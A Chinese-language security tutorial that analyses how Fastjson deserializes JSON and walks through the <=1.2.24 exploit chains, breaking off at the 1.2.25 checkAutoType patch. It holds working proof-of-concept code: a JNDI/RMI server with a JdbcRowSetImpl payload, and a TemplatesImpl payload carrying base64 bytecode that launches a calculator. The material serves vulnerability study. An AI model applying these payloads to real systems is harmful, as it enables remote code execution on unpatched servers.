Fastjson反序列化

Fastjson介绍

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
由于其特点是快,以性能为优势快速占领了大量用户,并且其 API 十分简洁,用户量十分庞大,这也就导致了这样的组件一旦爆出漏洞,危害也将会是巨大的,因此,fastjson 从第一次报告安全漏洞至今,进行了若干次的安全更新,也与安全研究人员进行了来来回回多次的安全补丁-绕过的流程。

Fastjson基础学习

fastjson主要通过将一个json格式的文件转为一个java的对象,或者将一个java对象转为一个json格式的对象,但是这里的转化是需要满足一定条件,不是所有的对象都可以直接转为json格式,其中转化的过程就是通过序列化和反序列化,当然这个就与原生的jdk版本没有太多关联,这个属于插件存在的漏洞

在fastjson进行转换时,必须需要类有一个无参构造方法,最好是通过java bean的格式进行书写,因为如果不是满足java bean则在对json反序列化为对象时可能会出现赋值问题,如果是private或者protected的属性就无法直接进行赋值给反序列化的对象,而如果是public类型的成员变量,就算没有setter方法,还是可以进行赋值的,会通过反射进行赋值

代码:

package org.example;

public class Main {
    public String name;
    public int age;
    protected String sex;

    public Main() {
    }

    public Main(String name, int age, String sex) {
        this.name = name;
        this.age = age;
        this.sex = sex;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getSex() {
        return sex;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

}
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class text{
    public static void main(String[] args) {
        Main main = new Main();
        main.setName("Bloyet");
        String fastjson = JSON.toJSONString(main, SerializerFeature.WriteClassName);
        System.out.println(fastjson);
        Object main1 = JSON.parse(fastjson);
        System.out.println(main1);

    }
}

我们发现结果出现了@type字样

如果不使用SerializerFeature.WriteClassName,该方法默认将JSON字符串反序列化为一个JSONObject对象。

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class text{
    public static void main(String[] args) {
        Main main = new Main();
        main.setName("Bloyet");
        String fastjson = JSON.toJSONString(main);
        System.out.println(fastjson);
        Object main1 = JSON.parse(fastjson);
        System.out.println(main1);

    }
}

Fastjson调用简单分析

序列化

序列化过程其实没什么好看的,只要知道

获取属性值分为有无getter,如果没有getter方法,它就无法直接获取private属性或者protected属性,如果为public属性它就会看是否赋初始值,如果没有就表示默认值 有getter方法就getter方法优先

package org.example;

public class Main {
    public String name;
    public int age;
    protected String sex;

    public Main() {
    }

    public Main(String name, int age, String sex) {
        this.name = name;
        this.age = age;
        this.sex = sex;
    }

    public String getName() {
        System.out.println("调用了geName方法");
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getAge方法");
        return age;

    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getSex() {
        System.out.println("调用了getSex方法");
        return sex;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

}
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class text{
    public static void main(String[] args) {
        Main main = new Main();
        // main.setName("Bloyet");
        String fastjson = JSON.toJSONString(main, SerializerFeature.WriteClassName);
        // System.out.println(fastjson);
        //  Object main1 = JSON.parse(fastjson);
        // System.out.println(main1);

    }
}

从这个结果来看,也能知道它获取属性值的时候,是通过调用了getter方法

反序列化

Fastjson 使用 @type 来标识 JSON 数据中应该反序列化为哪个类。在 JSON 中,@type 字段通常包含了类的全限定名(类的完整路径),用于标识具体的类。

进源码分析:

断点打在这里

本质上还是调用的是parse方法,步入

继续调用parse方法,步入

使用传入的 textfeatures 创建一个 DefaultJSONParser 对象。ParserConfig.getGlobalInstance() 表示使用全局配置,确保解析器的行为符合统一的配置标准。DefaultJSONParser这个对象用于实际解析 JSON 文本。我们继续看parser.parse方法

继续步入

进入switch语句,token为12

JSONObject 类在 Java 中是处理和操作 JSON 数据的重要工具 ,我们继续跟进parseObject方法

这个方法里面的内容还挺多的,大致就是根据字符来进行逻辑判断,然后由逻辑判断走到处理方法 我们这里就看关键的@type

这里的JSON.DEFAULT_TYPE_KEY就是@type,进入if语句 进行类加载,接着看怎么加载的,步入loadClass方法

可以看到虽然是进行类加载,但是其实里面是没有内容的,相当于一个空壳,然后返回clazz,继续往下走

回到了DefaultJSONParser#parseObject方法,这里是获取解析器的地方,步入getDeserializer方法

这里判断了一下当前缓存中是否存在能够直接获取到解析该 json 数据的解析器,如果有就直接返回了,很显然我们这里没有,所以还需要跟进getDeserializer

这里的内容也很多,我们直接看createJavaBeanDeserializer方法,在这之前就是一些黑名单,和是否为数组,集合,Map,或者报错类,步入createJavaBeanDeserializer方法

public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
    ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
    if (derializer != null) {
        return derializer;
    } else {
        if (type == null) {
            type = clazz;
        }

        ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
        if (derializer != null) {
            return (ObjectDeserializer)derializer;
        } else {
            JSONType annotation = (JSONType)clazz.getAnnotation(JSONType.class);
            if (annotation != null) {
                Class<?> mappingTo = annotation.mappingTo();
                if (mappingTo != Void.class) {
                    return this.getDeserializer(mappingTo, mappingTo);
                }
            }

            if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
                derializer = (ObjectDeserializer)this.derializers.get(clazz);
            }

            if (derializer != null) {
                return (ObjectDeserializer)derializer;
            } else {
                String className = clazz.getName();
                className = className.replace('$', '.');

                for(int i = 0; i < this.denyList.length; ++i) {
                    String deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("parser deny : " + className);
                    }
                }

                if (className.startsWith("java.awt.") && AwtCodec.support(clazz) && !awtError) {
                    try {
                        this.derializers.put(Class.forName("java.awt.Point"), AwtCodec.instance);
                        this.derializers.put(Class.forName("java.awt.Font"), AwtCodec.instance);
                        this.derializers.put(Class.forName("java.awt.Rectangle"), AwtCodec.instance);
                        this.derializers.put(Class.forName("java.awt.Color"), AwtCodec.instance);
                    } catch (Throwable var11) {
                        awtError = true;
                    }

                    derializer = AwtCodec.instance;
                }

                if (!jdk8Error) {
                    try {
                        if (className.startsWith("java.time.")) {
                            this.derializers.put(Class.forName("java.time.LocalDateTime"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.LocalDate"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.LocalTime"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.ZonedDateTime"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.OffsetDateTime"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.OffsetTime"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.ZoneOffset"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.ZoneRegion"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.ZoneId"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.Period"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.Duration"), Jdk8DateCodec.instance);
                            this.derializers.put(Class.forName("java.time.Instant"), Jdk8DateCodec.instance);
                            derializer = (ObjectDeserializer)this.derializers.get(clazz);
                        } else if (className.startsWith("java.util.Optional")) {
                            this.derializers.put(Class.forName("java.util.Optional"), OptionalCodec.instance);
                            this.derializers.put(Class.forName("java.util.OptionalDouble"), OptionalCodec.instance);
                            this.derializers.put(Class.forName("java.util.OptionalInt"), OptionalCodec.instance);
                            this.derializers.put(Class.forName("java.util.OptionalLong"), OptionalCodec.instance);
                            derializer = (ObjectDeserializer)this.derializers.get(clazz);
                        }
                    } catch (Throwable var10) {
                        jdk8Error = true;
                    }
                }

                if (className.equals("java.nio.file.Path")) {
                    this.derializers.put(clazz, MiscCodec.instance);
                }

                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

                try {
                    Iterator var17 = ServiceLoader.load(AutowiredObjectDeserializer.class, classLoader).iterator();

                    while(var17.hasNext()) {
                        AutowiredObjectDeserializer autowired = (AutowiredObjectDeserializer)var17.next();
                        Iterator var8 = autowired.getAutowiredFor().iterator();

                        while(var8.hasNext()) {
                            Type forType = (Type)var8.next();
                            this.derializers.put(forType, autowired);
                        }
                    }
                } catch (Exception var12) {
                }

                if (derializer == null) {
                    derializer = (ObjectDeserializer)this.derializers.get(type);
                }

                if (derializer != null) {
                    return (ObjectDeserializer)derializer;
                } else {
                    if (clazz.isEnum()) {
                        derializer = new EnumDeserializer(clazz);
                    } else if (clazz.isArray()) {
                        derializer = ObjectArrayCodec.instance;
                    } else if (clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) {
                        if (Collection.class.isAssignableFrom(clazz)) {
                            derializer = CollectionCodec.instance;
                        } else if (Map.class.isAssignableFrom(clazz)) {
                            derializer = MapDeserializer.instance;
                        } else if (Throwable.class.isAssignableFrom(clazz)) {
                            derializer = new ThrowableDeserializer(this, clazz);
                        } else {
                            derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
                        }
                    } else {
                        derializer = CollectionCodec.instance;
                    }

                    this.putDeserializer((Type)type, (ObjectDeserializer)derializer);
                    return (ObjectDeserializer)derializer;
                }
            }
        }
    }
}

createJavaBeanDeserializer方法

有很多关于 ASM 前置的检查,这个我们之后再看,JavaBeanInfo.build开始正式构造 beanInfo,步入

build 方法本身是返回一个 JavaBeanInfo 列表,javaBeanInfo里面储存了即将反序列化bean中的set方法,get方法,无参构造方法,属性值等具体信息,这个方法里面有很多检查的东西,我们先不看,直接看最重要的3个for循环

第一个 for 循环是用来获取 set 方法,第二个 for 循环是用来获取字段属性,第三个 for 循环是在获取 get 方法

我们先具体看第一个for,有四个 if 判断

方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个

Method[] var30 = methods;
int var29 = methods.length;

Method method;
for(i = 0; i < var29; ++i) {
    method = var30[i];
    ordinal = 0;
    int serialzeFeatures = 0;
    parserFeatures = 0;
    String methodName = method.getName();
    if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
        Class<?>[] types = method.getParameterTypes();
        if (types.length == 1) {
            annotation = (JSONField)method.getAnnotation(JSONField.class);
            if (annotation == null) {
                annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
            }

            if (annotation != null) {
                if (!annotation.deserialize()) {
                    continue;
                }

                ordinal = annotation.ordinal();
                serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
                parserFeatures = Feature.of(annotation.parseFeatures());
                if (annotation.name().length() != 0) {
                    methodName = annotation.name();
                    add(fieldList, new FieldInfo(methodName, method, (Field)null, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, (JSONField)null, (String)null));
                    continue;
                }
            }

            if (methodName.startsWith("set")) {
                c3 = methodName.charAt(3);
                String propertyName;
                if (!Character.isUpperCase((char)c3) && c3 <= 512) {
                    if (c3 == 95) {
                        propertyName = methodName.substring(4);
                    } else if (c3 == 102) {
                        propertyName = methodName.substring(3);
                    } else {
                        if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
                            continue;
                        }

                        propertyName = TypeUtils.decapitalize(methodName.substring(3));
                    }
                } else if (TypeUtils.compatibleWithJavaBean) {
                    propertyName = TypeUtils.decapitalize(methodName.substring(3));
                } else {
                    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                }

                Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
                if (field == null && types[0] == Boolean.TYPE) {
                    isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
                    field = TypeUtils.getField(clazz, isFieldName, declaredFields);
                }

                JSONField fieldAnnotation = null;
                if (field != null) {
                    fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);
                    if (fieldAnnotation != null) {
                        if (!fieldAnnotation.deserialize()) {
                            continue;
                        }

                        ordinal = fieldAnnotation.ordinal();
                        serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
                        parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
                        if (fieldAnnotation.name().length() != 0) {
                            propertyName = fieldAnnotation.name();
                            add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
                            continue;
                        }
                    }
                }

                if (propertyNamingStrategy != null) {
                    propertyName = propertyNamingStrategy.translate(propertyName);
                }

                add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
            }
        }
    }
}

它最终会被 add 进 fieldInfo 数组,然后这里就没什么好看的了

走完这里就开始真正解析了,ASM 解析器的原因我们并不能看到具体的内容,直接看源码分析

当来到 createInstance 方法,它首先是实例化了一个空类,里面的属性值都为默认

调用setvalue方法,反射调用set方法

这里也就是利用点所在了

漏洞利用

由前面知道,在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在

简单利用:

在set方法下面插入弹计算器的命令

package org.example;

import java.io.IOException;

public class Main {
  public String name="";
  public int age;
  protected String sex="";

    public Main() {
    }

    public Main(String name, int age, String sex) {
        this.name = name;
        this.age = age;
        this.sex = sex;
    }

    public String getName() {
        System.out.println("调用了getName方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName方法");
        this.name = name;
    }

    public int getAge() throws IOException {
        System.out.println("调用了getAge方法");
        return age;

    }

    public void setAge(int age) throws IOException {
        System.out.println("调用了SetAge方法");
        Runtime.getRuntime().exec("calc");
        this.age = age;
    }

    public String getSex() {
        System.out.println("调用了getSex方法");
        return sex;
    }

    public void setSex(String sex) {
        System.out.println("调用了setSex方法");
        this.sex = sex;
    }

}
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.IOException;

public class text{
    public static void main(String[] args) throws IOException {
        Main main = new Main();
        // main.setName("Bloyet");
        String fastjson = JSON.toJSONString(main, SerializerFeature.WriteClassName);
        System.out.println(fastjson);
        Object main1 = JSON.parseObject(fastjson);
        System.out.println(main1);

    }
}

可以很清楚的看到,在序列化的时候就会自动调用getter方法,然后在反序列化的时候就都会调用

FastJson中的 parse()parseObject() 方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 settergetter 方法。

补充一下poc的写法

一般的,Fastjson反序列化漏洞的PoC写法如下,@type指定了反序列化得到的类

{
"@type":"xxx.xxx.xxx",
"xxx":"xxx",
...
}

Fastjson<=1.2.24利用链

这个版本 主要是有两个利用链JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl

我们先来分析JdbcRowSetImpl(结合JNDI注入)

JdbcRowSetImpl中有两个方法符合自动调用并且可以进行利用的:

JdbcRowSetImpl#setDataSourceName

public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }

}

JdbcRowSetImpl#setAutoCommit

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

在JdbcRowSetImpl#setAutoCommit 中调用了connect()方法

JdbcRowSetImpl#connect

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

回顾一下InitialContext类的作用

InitialContext 提供了一个默认的上下文环境,允许应用程序在其中查找和绑定对象。

然后它还调用了lookup方法,参数还刚好就是我们在setDataSourceName方法中可以控制的,结合起来就可以进行JNDI注入了

JNDI+RMI

开启服务

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class JNDI_server {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Reference reference=new Reference("RMIHello","RMIHello","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/Bloyet",referenceWrapper);
    }
}

然后在开启python服务

然后就是EXP

package org.example;
import com.alibaba.fastjson.JSON;


public class JdbcRowSetImplEXP {
    public static void main(String[] args) {

        Object exp=JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
    }
}

基本上就是JNDI+RMI乱打,通过fastjson的反序列化冒充了我们之前的客户端

JNDI+LDAP

差不多JNDI可以利用的这里都是可以的,这里就不写了

TemplatesImpl

该链的利用面较窄,由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性。

由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。

这个类就很熟悉了,我们之前在打cb链的时候也利用到了getter方法的特性进行类加载

TemplatesImpl.getOutputProperties
      TemplatesImpl.newTransformer

我们还需要满足 _name 不为 null ,_tfactory 不为 null 这些都是CC3的内容了,这里就不多赘述

然后又因为在fastjson中我们传入的_bytecodes为bytes类型,而Fastjson在序列化的时候会将bytes类型进行base64编码,反序列化的时候就会进行解码,所以我们在传入字节码的时候还需要进行编码

编码:

package org.example;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class text2 {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        byte[] _bytecodess = Files.readAllBytes(Paths.get("H:\\http.class"));
        String base64Encoded = Base64.getEncoder().encodeToString(_bytecodess);
        System.out.println(base64Encoded);
    }
}

json格式:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMdGV4dC9odHRwOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACWh0dHAuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAl0ZXh0L2h0dHABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABgADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB0ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABIADAAQAA0AEQARABMADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw=="],"_tfactory":{ },"_name":"Bloyet","_outputProperties":{}}

EXP:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class TemplateImplEXP {
    public static void main(String[] args) {

        String EXP = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMdGV4dC9odHRwOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACWh0dHAuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAl0ZXh0L2h0dHABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAsADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABgADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAAB0ADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADgAJABIADAAQAA0AEQARABMADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==\"],\"_tfactory\":{ },\"_name\":\"Bloyet\",\"_outputProperties\":{}}";
        Object TemplateEXP = JSON.parseObject(EXP,Object.class, Feature.SupportNonPublicField);
    }
}

但是这里其实是有一些疑问的:

_bytecodes 原本得是二维数组,但是用二维数组去进行编码会先转换为一维数组在进行编码,这样打不通,需要直接就用一维数组直接编码

然后就是命名问题,之前在cb链的时候调用getter方法的时候_outputProperties这个属性是不能加下划线的,但是这里又可以,按我的理解是差不多的,都是自动调用getter方法,但是在fastjson里面这里加和不加都是可以打通的,下面这个是cb链的EXP

ai解释:

1.2.25-1.2.41绕过

先看它是怎么修复这个漏洞的,打的什么补丁

1.2.24 之后的第一次更新,官方引入checkAutoType机制,默认情况下,autoTypeSupport 关闭,不能直接反序列化任意类。打开AutoType之后是基于黑名单来实现安全检测的,fastjson 也提供了添加黑名单的接口

之前:

更新后:

发现多了一个checkAutoType方法,步入看看:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    } else {
        String className = typeName.replace('$', '.');
        if (this.autoTypeSupport || expectClass != null) {
            int i;
            String deny;
            for(i = 0; i < this.acceptList.length; ++i) {
                deny = this.acceptList[i];
                if (className.startsWith(deny)) {
                    return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }
            }

            for(i = 0; i < this.denyList.length; ++i) {
                deny = this.denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = this.deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            } else {
                return clazz;
            }
        } else {
            if (!this.autoTypeSupport) {
                String accept;
                int i;
                for(i = 0; i < this.denyList.length; ++i) {
                    accept = this.denyList[i];
                    if (className.startsWith(accept)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                for(i = 0; i < this.acceptList.length; ++i) {
                    accept = this.acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }

                        return clazz;
                    }
                }
            }

            if (this.autoTypeSupport || expectClass != null) {
                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
            }

            if (clazz != null) {
                if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (expectClass != null) {
                    if (expectClass.isAssignableFrom(clazz)) {
                        return clazz;
                    }

                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            if (!this.autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            } else {
                return clazz;
            }
        }
    }
}

第一个是开启autoTypeSupport状态

